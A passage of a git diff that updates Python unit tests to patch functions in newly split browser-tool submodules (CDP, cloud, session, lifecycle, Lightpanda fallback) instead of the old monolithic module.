None else {"cdp_url": "http://127.0.0.1:43111"} - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) - monkeypatch.setattr(bt, "_using_lightpanda_engine", lambda: engine) - monkeypatch.setattr(bt, "_get_session_info", fake_session_info) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: engine) + monkeypatch.setattr(bt_session, "_get_session_info", fake_session_info) return seen def test_exports_bu_cdp_url_and_private_sentinel(self, monkeypatch): @@ -1161,20 +1157,18 @@ class TestLightpandaBackendResolution: assert seen == [] def test_cdp_override_wins(self, monkeypatch): - import tools.browser_tool as bt seen = self._setup(monkeypatch) - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "http://127.0.0.1:9222") + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "http://127.0.0.1:9222") env = {} assert bu_cli._resolve_backend_cdp(env, "t1") is None assert env["BU_CDP_URL"] == "http://127.0.0.1:9222" assert seen == [] def test_cloud_provider_wins(self, monkeypatch): - import tools.browser_tool as bt seen = self._setup(monkeypatch, info={"cdp_url": "wss://cloud.example/x"}) - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) env = {} assert bu_cli._resolve_backend_cdp(env, "t1") is None assert env["BU_CDP_WS"] == "wss://cloud.example/x" @@ -1188,11 +1182,11 @@ class TestLightpandaPreamble: (lightpanda-io/browser#1962).""" import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) - monkeypatch.setattr(bt, "_using_lightpanda_engine", lambda: True) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: True) monkeypatch.setattr( - bt, "_get_session_info", lambda key: {"cdp_url": "http://127.0.0.1:43111"} + bt_session, "_get_session_info", lambda key: {"cdp_url": "http://127.0.0.1:43111"} ) cli = _fake_cli(tmp_path, "cat\n") monkeypatch.setattr(bu_cli, "_find_cli", lambda: [cli]) @@ -1208,7 +1202,7 @@ class TestLightpandaHeader: "tools.vision_tools._should_use_native_vision_fast_path", lambda: True ) monkeypatch.setattr( - "tools.browser_tool.lightpanda_engine_status", lambda: (True, "used") + "tools.browser_tool_lightpanda_fallback.lightpanda_engine_status", lambda: (True, "used") ) header = bu_cli._description_header() assert header.startswith(bu_cli._HEADER_BASE) @@ -1224,7 +1218,7 @@ class TestLightpandaHeader: "tools.vision_tools._should_use_native_vision_fast_path", lambda: True ) monkeypatch.setattr( - "tools.browser_tool.lightpanda_engine_status", lambda: (False, "cloud") + "tools.browser_tool_lightpanda_fallback.lightpanda_engine_status", lambda: (False, "cloud") ) assert bu_cli._description_header() == bu_cli._HEADER_BASE + bu_cli._HEADER_VISION @@ -1282,12 +1276,11 @@ class TestLightpandaStatusLine: import contextlib import io - import tools.browser_tool as bt from hermes_cli.cli_commands_mixin import CLICommandsMixin monkeypatch.setattr(bu_cli, "is_browser_use_cli_mode", lambda: True) - monkeypatch.setattr(bt, "_using_lightpanda_engine", lambda: True) - monkeypatch.setattr(bt, "lightpanda_engine_status", lambda: (used, reason)) + monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: True) + monkeypatch.setattr("tools.browser_tool_lightpanda_fallback.lightpanda_engine_status", lambda: (used, reason)) monkeypatch.setattr("tools.browser_lightpanda.find_lightpanda_binary", lambda: binary) buf = io.StringIO() with contextlib.redirect_stdout(buf): diff --git a/tests/tools/test_browser_use_session_expiry.py b/tests/tools/test_browser_use_session_expiry.py index 44a761e1c5..61b5d18197 100644 --- a/tests/tools/test_browser_use_session_expiry.py +++ b/tests/tools/test_browser_use_session_expiry.py @@ -4,13 +4,15 @@ from unittest.mock import Mock import tools.browser_tool as browser_tool from plugins.browser.browser_use import provider as browser_use_provider +from tools import browser_tool_session as bt_session +from tools import browser_tool_cloud as bt_cloud def _isolate_browser_state(monkeypatch): monkeypatch.setattr(browser_tool, "_active_sessions", {}) monkeypatch.setattr(browser_tool, "_session_last_activity", {}) - monkeypatch.setattr(browser_tool, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(browser_tool, "_ensure_cdp_supervisor", lambda task_id: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", lambda task_id: None) def test_browser_use_preserves_provider_timeout(monkeypatch): @@ -51,9 +53,9 @@ def test_live_cloud_session_is_reused(monkeypatch): } browser_tool._active_sessions["task-1"] = existing provider = Mock() - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) - session = browser_tool._get_session_info("task-1") + session = bt_session._get_session_info("task-1") assert session is existing provider.create_session.assert_not_called() @@ -76,18 +78,18 @@ def test_expired_cloud_session_is_replaced_without_reusing_dead_cdp(monkeypatch) "cdp_url": "ws://browser-use.example/devtools/browser/new", "expires_at": "2999-01-01T00:05:00Z", } - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider) - monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: "") - monkeypatch.setattr(browser_tool, "_stop_cdp_supervisor", Mock()) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr("tools.browser_tool_cdp._stop_cdp_supervisor", Mock()) monkeypatch.setattr(browser_tool, "_maybe_stop_recording", Mock()) - monkeypatch.setattr(browser_tool, "_run_browser_command", Mock()) + monkeypatch.setattr(bt_session, "_run_browser_command", Mock()) monkeypatch.setattr(browser_tool.os.path, "exists", lambda path: False) - session = browser_tool._get_session_info("task-1") + session = bt_session._get_session_info("task-1") assert session["bb_session_id"] == "browser-session-new" assert browser_tool._active_sessions["task-1"] is session assert "task-1" in browser_tool._session_last_activity provider.close_session.assert_called_once_with("browser-session-old") provider.create_session.assert_called_once_with("task-1") - browser_tool._run_browser_command.assert_not_called() + bt_session._run_browser_command.assert_not_called() diff --git a/tests/tools/test_managed_browserbase_and_modal.py b/tests/tools/test_managed_browserbase_and_modal.py index 116e39de0b..2dae6738a9 100644 --- a/tests/tools/test_managed_browserbase_and_modal.py +++ b/tests/tools/test_managed_browserbase_and_modal.py @@ -228,10 +228,11 @@ def test_browser_use_explicit_local_mode_stays_local_even_when_managed_gateway_i }) with patch.dict(os.environ, env, clear=True): - browser_tool = _load_tool_module("tools.browser_tool", "browser_tool.py") + _load_tool_module("tools.browser_tool", "browser_tool.py") + browser_tool_cloud = sys.modules["tools.browser_tool_cloud"] - local_mode = browser_tool._is_local_mode() - provider = browser_tool._get_cloud_provider() + local_mode = browser_tool_cloud._is_local_mode() + provider = browser_tool_cloud._get_cloud_provider() assert local_mode is True assert provider is None diff --git a/tests/tools/test_terminal_scope_multiplex.py b/tests/tools/test_terminal_scope_multiplex.py index 4f07bb37fa..9d2a0ea0a9 100644 --- a/tests/tools/test_terminal_scope_multiplex.py +++ b/tests/tools/test_terminal_scope_multiplex.py @@ -24,6 +24,7 @@ from tools.terminal_scope import ( set_terminal_scope, terminal_env, ) +from tools import browser_tool_cloud as bt_cloud _LAUNCH_CWD = "/home/launch-user/private" _LAUNCH_VOLUMES = '["/host/secret:/data:rw"]' @@ -116,7 +117,7 @@ def test_routed_turn_reads_every_terminal_consumer_from_profile( ) assert file_tools_paths._configured_terminal_cwd() == str(b_cwd) assert runtime_cwd.resolve_agent_cwd() == b_cwd - assert browser_tool._is_local_backend() is True + assert bt_cloud._is_local_backend() is True # env_probe bails out with "" for remote backends; a local profile # must not be treated as remote just because the launch env is docker. assert env_probe._resolve_terminal_backend() == "local" diff --git a/tests/tools/test_web_providers.py b/tests/tools/test_web_providers.py index 775e343f48..c8af85aba7 100644 --- a/tests/tools/test_web_providers.py +++ b/tests/tools/test_web_providers.py @@ -279,7 +279,7 @@ class TestDispatchersTriggerPluginDiscovery: even when the user has both the config key set AND the API key exported. - Mirrors :func:`tools.browser_tool._ensure_browser_plugins_loaded` — + Mirrors :func:`tools.browser_tool_cloud._ensure_browser_plugins_loaded` — every other plugin-backed dispatcher (image_gen, video_gen, browser, skills) already does this. """ diff --git a/tests/tools/test_zombie_process_cleanup.py b/tests/tools/test_zombie_process_cleanup.py index 14c5f070ce..d118fa266d 100644 --- a/tests/tools/test_zombie_process_cleanup.py +++ b/tests/tools/test_zombie_process_cleanup.py @@ -331,7 +331,7 @@ class TestGatewayCleanupWiring: with patch("gateway.status.remove_pid_file"), \ patch("gateway.status.write_runtime_status"), \ patch("tools.terminal_tool.cleanup_all_environments"), \ - patch("tools.browser_tool.cleanup_all_browsers"): + patch("tools.browser_tool_lifecycle.cleanup_all_browsers"): loop.run_until_complete(GatewayRunner.stop(runner)) finally: loop.close()